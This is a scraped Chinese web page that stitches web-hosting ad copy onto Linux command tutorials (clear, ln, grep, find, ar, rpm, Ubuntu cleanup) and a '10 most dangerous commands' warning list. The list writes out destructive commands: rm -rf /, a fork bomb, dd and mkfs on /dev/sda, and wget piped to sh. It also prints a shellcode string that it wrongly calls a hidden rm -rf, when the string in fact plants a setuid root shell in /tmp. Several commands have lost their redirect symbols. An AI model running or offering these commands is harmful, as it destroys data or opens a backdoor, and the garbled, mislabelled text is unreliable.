重慶分公司,新征程啟航
為企業(yè)提供網(wǎng)站建設(shè)、域名注冊、服務(wù)器等服務(wù)
為企業(yè)提供網(wǎng)站建設(shè)、域名注冊、服務(wù)器等服務(wù)
在linux下用過的清屏方法。clear命令、這個命令將會刷新屏幕,本質(zhì)上只是讓終端顯示頁向后翻了一頁,如果向上滾動屏幕還可以看到之前的操作信息。
我們提供的服務(wù)有:成都網(wǎng)站建設(shè)、網(wǎng)站建設(shè)、微信公眾號開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、攀枝花ssl等。為上千企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的攀枝花網(wǎng)站制作公司
Ctrl+l(小寫的L)、這是一個清屏的快捷鍵,這個是筆者在工作中用得最多的一種清屏方式,清屏效果同clear命令一樣。
reset命令、這個命令將完全刷新終端屏幕,之前的終端輸入操作信息將都會被清空,這樣雖然比較清爽,但整個命令過程速度有點(diǎn)慢,使用較少。值得一提的是reset命令在你的終端控制錯亂時非常有用。如輸入字符不出現(xiàn)在光標(biāo)的位置的情況。還有當(dāng)你敲擊回車鍵時,新提示符并沒有出現(xiàn)在新行上而是出現(xiàn)在老提示符的前面。此時reset命令就能用來修正這些問題。
printf "\033c"命令、這個命令它才是真正的清空了終端屏幕,它的功能跟DOS里CMD.EXE提供的CLS效果很相似。但這個命令究竟是做什么的?它的工作原理是什么? \033? ==? \x1B == 27 == ESC于是,這個命令變成了ESCc,它是VT-XXX中表示“Full Reset (RIS)”的轉(zhuǎn)義碼。現(xiàn)今我們使用的所有的終端都是VT兼容的,它的另一種實(shí)現(xiàn)方式也可以這樣:
鍵盤上Ctrl+v---Esc--輸入c再回加。但如果你發(fā)現(xiàn)自己使用的是一個非常奇怪的終端(如筆者曾經(jīng)在putty上作過測試),那這個命令你可能用不了。? printf是bash里內(nèi)置的命令,內(nèi)置命令的優(yōu)先級比其它可執(zhí)行文件要高。
清除linux的history 命令歷史記錄只需要一個步驟,如下:
-c 參數(shù)命令:將目前的shell中的所有 history 內(nèi)容全部消除,下圖是執(zhí)行效果,執(zhí)行history -c命令后,之前的所有的記錄都可以清除。
輸入以上命令即可刪除linux的history 命令歷史記錄。
clear
這個命令是用來清除屏幕的,它不需要任何參數(shù),和dos下面的cls具有相同的功能,如果你覺得屏幕太紊亂,就可以使用它清除屏幕上的信息。 ln[link]
這是linux中又一個非常重要命令,請大家一定要熟悉。它的功能是為某一個文件在另外一個位置建立一個不同的鏈接,這個命令最常用的參數(shù)是-s,具體用法是:ln –s源文件目標(biāo)文件。
當(dāng)我們需要在不同的目錄,用到相同的文件時,我們不需要在每一個需要的目錄下都放一個必須相同的文件,我們只要在某個固定的目錄,放上該文件,然后在其它的目錄下用ln命令鏈接(link)它就可以,不必重復(fù)的占用磁盤空間。例如:ln –s /bin/less /usr/local/bin/less
-s 是代號(symbolic)的意思。
這里有兩點(diǎn)要注意:第一,ln命令會保持每一處鏈接文件的同步性,也就是說,不論你改動了哪一處,其它的文件都會發(fā)生相同的變化;第二,ln的鏈接有軟鏈接和硬鏈接兩種,軟鏈接就是ln –s ** **,它只會在你選定的位置上生成一個文件的鏡像,不會占用磁盤空間,硬鏈接ln ** **,沒有參數(shù)-s, 它會在你選定的位置上生成一個和源文件大小相同的文件,無論是軟鏈接還是硬鏈接,文件都保持同步變化。
如果你用ls察看一個目錄時,發(fā)現(xiàn)有的文件后面有一個@的符號,那就是一個用ln命令生成的文件,用ls –l命令去察看,就可以看到顯示的link的路徑了。 用于查找文件中符合字符串的那行。
e.g. grep -nr network_ssl ./ [查找當(dāng)前文件夾下所有文件內(nèi)容,列出包含有 network_ssl該字串的行,并顯示行號]
參數(shù)說明: -a :將 binary 文件以 text 文件的方式搜尋數(shù)據(jù)
-c :計(jì)算找到 '搜尋字符串' 的次數(shù)
-i :忽略大小寫的不同,所以大小寫視為相同
-n :順便輸出行號
-v :反向選擇,亦即顯示出沒有 '搜尋字符串' 內(nèi)容的那一行!
-A NUM:同時輸出匹配行的后NUM行。
-B NUM:同時輸出匹配行的前NUM行。
-C NUM:同時輸出匹配行的前、后各NUM行。
-r :明確要求搜索子目錄:grep -r 或忽略子目錄:grep -d skip 如果有很多 輸出時,您可以通過管道將其轉(zhuǎn)到’less’上閱讀:$ grep magic /usr/src/Linux/Documentation/* | less 這樣,您就可以更方便地閱讀。 find / -name *.txt -print 用于查找所有的‘ *.txt’文件在當(dāng)前目錄及子目錄中;
find / -name [A-Z]* -print 用于當(dāng)前目錄及子目錄中查找文件名以一個大寫字母開頭的文件;
find /etc -name host* -print 在/etc目錄中查找文件名以host開頭的文件;
find / -name [a-z][a-z][0--9][0--9].txt -print 在當(dāng)前目錄查找文件名以兩個小寫字母開頭,跟著是兩個數(shù)字,最后是.txt的文件;
1、find命令的一般形式為;
find pathname -options [-print -exec -ok ...]
2、find命令的參數(shù);
pathname: find命令所查找的目錄路徑。例如用.來表示當(dāng)前目錄,用/來表示系統(tǒng)根目錄。
-print: find命令將匹配的文件輸出到標(biāo)準(zhǔn)輸出。
-exec: find命令對匹配的文件執(zhí)行該參數(shù)所給出的shell命令。相應(yīng)命令的形式為'command' { } \;,注意{ }和\;之間的空格。
-ok: 和-exec的作用相同,只不過以一種更為安全的模式來執(zhí)行該參數(shù)所給出的shell命令,在執(zhí)行每一個命令之前,都會給出提示,讓用戶來確定是否執(zhí)行。
3、find命令選項(xiàng)
-name
按照文件名查找文件。
-perm
按照文件權(quán)限來查找文件。
-prune
使用這一選項(xiàng)可以使find命令不在當(dāng)前指定的目錄中查找,如果同時使用-depth選項(xiàng),那么-prune將被find命令忽略。
-user
按照文件屬主來查找文件。
-group
按照文件所屬的組來查找文件。
-mtime -n +n
按照文件的更改時間來查找文件, - n表示文件更改時間距現(xiàn)在n天以內(nèi),+ n表示文件更改時間距現(xiàn)在n天以前。find命令還有-atime和-ctime 選項(xiàng),但它們都和-m time選項(xiàng)。
-nogroup
查找無有效所屬組的文件,即該文件所屬的組在/etc/groups中不存在。
-nouser
查找無有效屬主的文件,即該文件的屬主在/etc/passwd中不存在。
-newer file1 ! file2
查找更改時間比文件file1新但比文件file2舊的文件。
-type
查找某一類型的文件,諸如:
b -塊設(shè)備文件。
d -目錄。
c -字符設(shè)備文件。
p - 管道文件。
l -符號鏈接文件。
f - 普通文件。
-size n:[c] 查找文件長度為n塊的文件,帶有c時表示文件長度以字節(jié)計(jì)。
-depth:在查找文件時,首先查找當(dāng)前目錄中的文件,然后再在其子目錄中查找。
-fstype:查找位于某一類型文件系統(tǒng)中的文件,這些文件系統(tǒng)類型通常可以在配置文件/etc/fstab中找到,該配置文件中包含了本系統(tǒng)中有關(guān)文件系統(tǒng)的信息。
-mount:在查找文件時不跨越文件系統(tǒng)mount點(diǎn)。
-follow:如果find命令遇到符號鏈接文件,就跟蹤至鏈接所指向的文件。
-cpio:對匹配的文件使用cpio命令,將這些文件備份到磁帶設(shè)備中。
另外,下面三個的區(qū)別:
-amin n
查找系統(tǒng)中最后N分鐘訪問的文件
-atime n
查找系統(tǒng)中最后n*24小時訪問的文件
-cmin n
查找系統(tǒng)中最后N分鐘被改變文件狀態(tài)的文件
-ctime n
查找系統(tǒng)中最后n*24小時被改變文件狀態(tài)的文件
-mmin n
查找系統(tǒng)中最后N分鐘被改變文件數(shù)據(jù)的文件
-mtime n
查找系統(tǒng)中最后n*24小時被改變文件數(shù)據(jù)的文件 功能說明:建立或修改備存文件,或是從備存文件中抽取文件。
語 法:ar[-dmpqrtx][cfosSuvV][a成員文件][b成員文件][i成員文件][備存文件][成員文件]
補(bǔ)充說明:ar可讓您集合許多文件,成為單一的備存文件。在備存文件中,所有成員文件皆保有原來的屬性與權(quán)限。
參 數(shù):
指令參數(shù)
-d 刪除備存文件中的成員文件。
-m 變更成員文件在備存文件中的次序。
-p 顯示備存文件中的成員文件內(nèi)容。
-q 將文件附加在備存文件末端。
-r 將文件插入備存文件中。
-t 顯示備存文件中所包含的文件。
-x 自備存文件中取出成員文件。
選項(xiàng)參數(shù)
a成員文件 將文件插入備存文件中指定的成員文件之后。
b成員文件 將文件插入備存文件中指定的成員文件之前。
c 建立備存文件。
f 為避免過長的文件名不兼容于其他系統(tǒng)的ar指令指令,因此可利用此參數(shù),截掉要放入備存文件中過長的成員文件名稱。
i成員文件 將文件插入備存文件中指定的成員文件之前。
o 保留備存文件中文件的日期。
s 若備存文件中包含了對象模式,可利用此參數(shù)建立備存文件的符號表。
S 不產(chǎn)生符號表。
u 只將日期較新文件插入備存文件中。
v 程序執(zhí)行時顯示詳細(xì)的信息。
rpm
一種用于互聯(lián)網(wǎng)下載包的打包及安裝工具,它包含在某些Linux分發(fā)版中。它生成具有.RPM擴(kuò)展名的文件,與Dpkg類似。
RPM是RedHat Package Manager(RedHat軟件包管理工具)的縮寫,這一文件格式名稱雖然打上了RedHat的標(biāo)志,但是其原始設(shè)計(jì)理念是開放式的,現(xiàn)在包括OpenLinux、S.u.S.E.以及Turbo Linux等Linux的分發(fā)版本都有采用,可以算是公認(rèn)的行業(yè)標(biāo)準(zhǔn)了。
常用rpm命令
查詢r(jià)pm軟件包
#rpm -q軟件包名
#rpm -qa //查詢安裝的所有軟件包
#rpm -qa|grep軟件包字符串
#rpm -qf /bin/命令//查詢命令由哪些軟件包安裝得到
#rpm -qi軟件包名 //查詢軟件包的詳細(xì)信息
#rpm -ql軟件包名 //查詢軟件包的安裝位置
軟件包的安裝
#rpm -ivh軟件包
軟件包的升級
#rpm -Uvh軟件包
軟件包的卸載
#rpm -e軟件包名
Linux中最危險(xiǎn)的10個命令
對于編程人員或或者Linux系統(tǒng)管理員來說,操作Linux系統(tǒng)最常見的方法就是使用命令行。當(dāng)然,Linux命令行佷有用、很高效,但有時候也很危險(xiǎn),尤其是在你誤操作或者不確定你自己在正在做什么的時候。下面我就為大家盤點(diǎn)最危險(xiǎn)是10個命令,一起來看看吧!
當(dāng)然,以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無可救藥;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點(diǎn)的敲錯或無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm 命令的選項(xiàng)。
rm 命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個人認(rèn)為此處應(yīng)該是說錯了,從常識看,應(yīng)該是“甚至是非空的文件夾”)
rm -f 命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個參數(shù) 只是表示不必一個個刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實(shí)也是沒有刪除提示的,只是一般的發(fā)行版都會將rm通過別名的方式增加-i參數(shù)來 要求刪除確認(rèn),而-f則抑制了這個提示。)
rm -rf / : 強(qiáng)制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了。。。)
rm -rf *: 強(qiáng)制刪除當(dāng)前目錄的所有文件。
rm -rf . : 強(qiáng)制刪除當(dāng)前文件夾及其子文件夾。
從 現(xiàn)在起,當(dāng)你要執(zhí)行rm -rf命令時請留心一點(diǎn)。我們可以在“.bashrc”文件對‘rm‘命令創(chuàng)建rm -i的別名,來預(yù)防用 ‘rm‘命令刪除文件時的事故,它會要求你確認(rèn)每一個刪除請求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒有,請這樣做,并在使用-f參數(shù)前一定考慮好 你在做什么!譯者本人有著血淚的教訓(xùn)啊。)
2. :(){:|:};: 命令
這就是個fork 炸彈的實(shí)例。具體操作是通過定義一個名為 ‘:‘的函數(shù),它會調(diào)用自己兩次,一次在前臺另一次運(yùn)行在后臺。它會反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:
哦?你確認(rèn)你要試試么?千萬別在公司正式的服務(wù)器上實(shí)驗(yàn)啊~~
3. 命令 /dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個塊設(shè)備的數(shù)據(jù)丟失。
4. mv 文件夾 /dev/null
這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個特殊的文件,所有寫入它的數(shù)據(jù)都會被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說明的是,通過將文件夾移動到黑洞,并不能阻止 數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的`徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會將User目錄所有內(nèi)容移動到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本并執(zhí)行。Wget命令會下載這個腳本,而sh會(無條件的)執(zhí)行下載下來的腳本。
注意: 你應(yīng)該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設(shè)備‘sda’,你無疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū) 動器)會被格式化,嶄新的!沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達(dá)到不可恢復(fù)的階段。(譯注:通常不會直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè) 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無論你使用sda還是sda1,這樣對塊設(shè)備或分區(qū)進(jìn)行mkfs都是毀 滅性的,上面的數(shù)據(jù)都會被蒸發(fā)了。)
7. file
上列命令常用來清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。 不過請?jiān)趫?zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是 “”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執(zhí)行時輸入錯誤或無知的輸入類似 “xt.conf” 的命令會覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個命令在“鮮為人知而又實(shí)用的 Linux 命令大全:”中描述過,用來編輯先前運(yùn)行的命令而無需重打整個命令。但當(dāng)用foobar命令時如果你沒有徹底檢查改變原始命令的風(fēng)險(xiǎn),這可能導(dǎo)致真正的麻煩。(譯注:事實(shí)上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設(shè)備sda寫入隨機(jī)的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說過mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個命令就是給了你一個徹底刪除的方法!當(dāng)然為了保險(xiǎn)起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實(shí)就是上面第一個命令 (rm -rf)。這里的代碼是隱藏在十六進(jìn)制里的,一個無知的用戶可能就會被愚弄。在終端里運(yùn)行下面命令可能會擦除你的根分區(qū)。
這個命令表明通常真正的危險(xiǎn)是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什么結(jié)果會怎樣。不要編譯/運(yùn)行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學(xué)或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個命令,因?yàn)檫@將導(dǎo)致數(shù)據(jù)丟失或者系統(tǒng)崩潰。如果你想測試它們,請?jiān)谔摂M機(jī)上運(yùn)行。
;
直接輸入 exit回車即可退出當(dāng)前終端,或者按CTRL+D也可退出當(dāng)前終端
Ubuntu Linux與Windows系統(tǒng)不同,Ubuntu Linux不會產(chǎn)生無用垃圾文件,但是在升級緩存中,Ubuntu Linux不會自動刪除這些文件,今天就來說說這些垃圾文件清理方法。
1,非常有用的清理命令:
sudo apt-get autocleansudo apt-get cleansudo apt-get autoremove
這三個命令主要清理升級緩存以及無用包的。
2,清理opera/ firefox的緩存文件:
ls ~/.opera/cache4
ls ~/.mozilla/firefox/*.default/Cache
3,清理Linux下孤立的包:
圖形界面下我們可以用:gtkorphan
sudo apt-get install gtkorphan -y
終端命令下我們可以用:deborphan
sudo apt-get install deborphan -y
4,卸載:tracker
這個東西一般我只要安裝Ubuntu就會第一刪掉tracker 他不僅會產(chǎn)生大量的cache文件而且還會影響開機(jī)速度。所以在新得利里面刪掉就行。
5,刪除多余的內(nèi)核:一定不要刪錯哦,切記!!
打開終端敲命令:dpkg --get-selections|grep linux
有image的就是內(nèi)核文件
刪除老的內(nèi)核文件:
sudo apt-get remove 內(nèi)核文件名 (例如:linux-image-2.6.27-2-generic)
內(nèi)核刪除,釋放空間了,應(yīng)該能釋放130-140M空間。
最后不要忘了看看當(dāng)前內(nèi)核:uname -a
附錄:
包管理的臨時文件目錄:
包在
/var/cache/apt/archives
沒有下載完的在
/var/cache/apt/archives/partial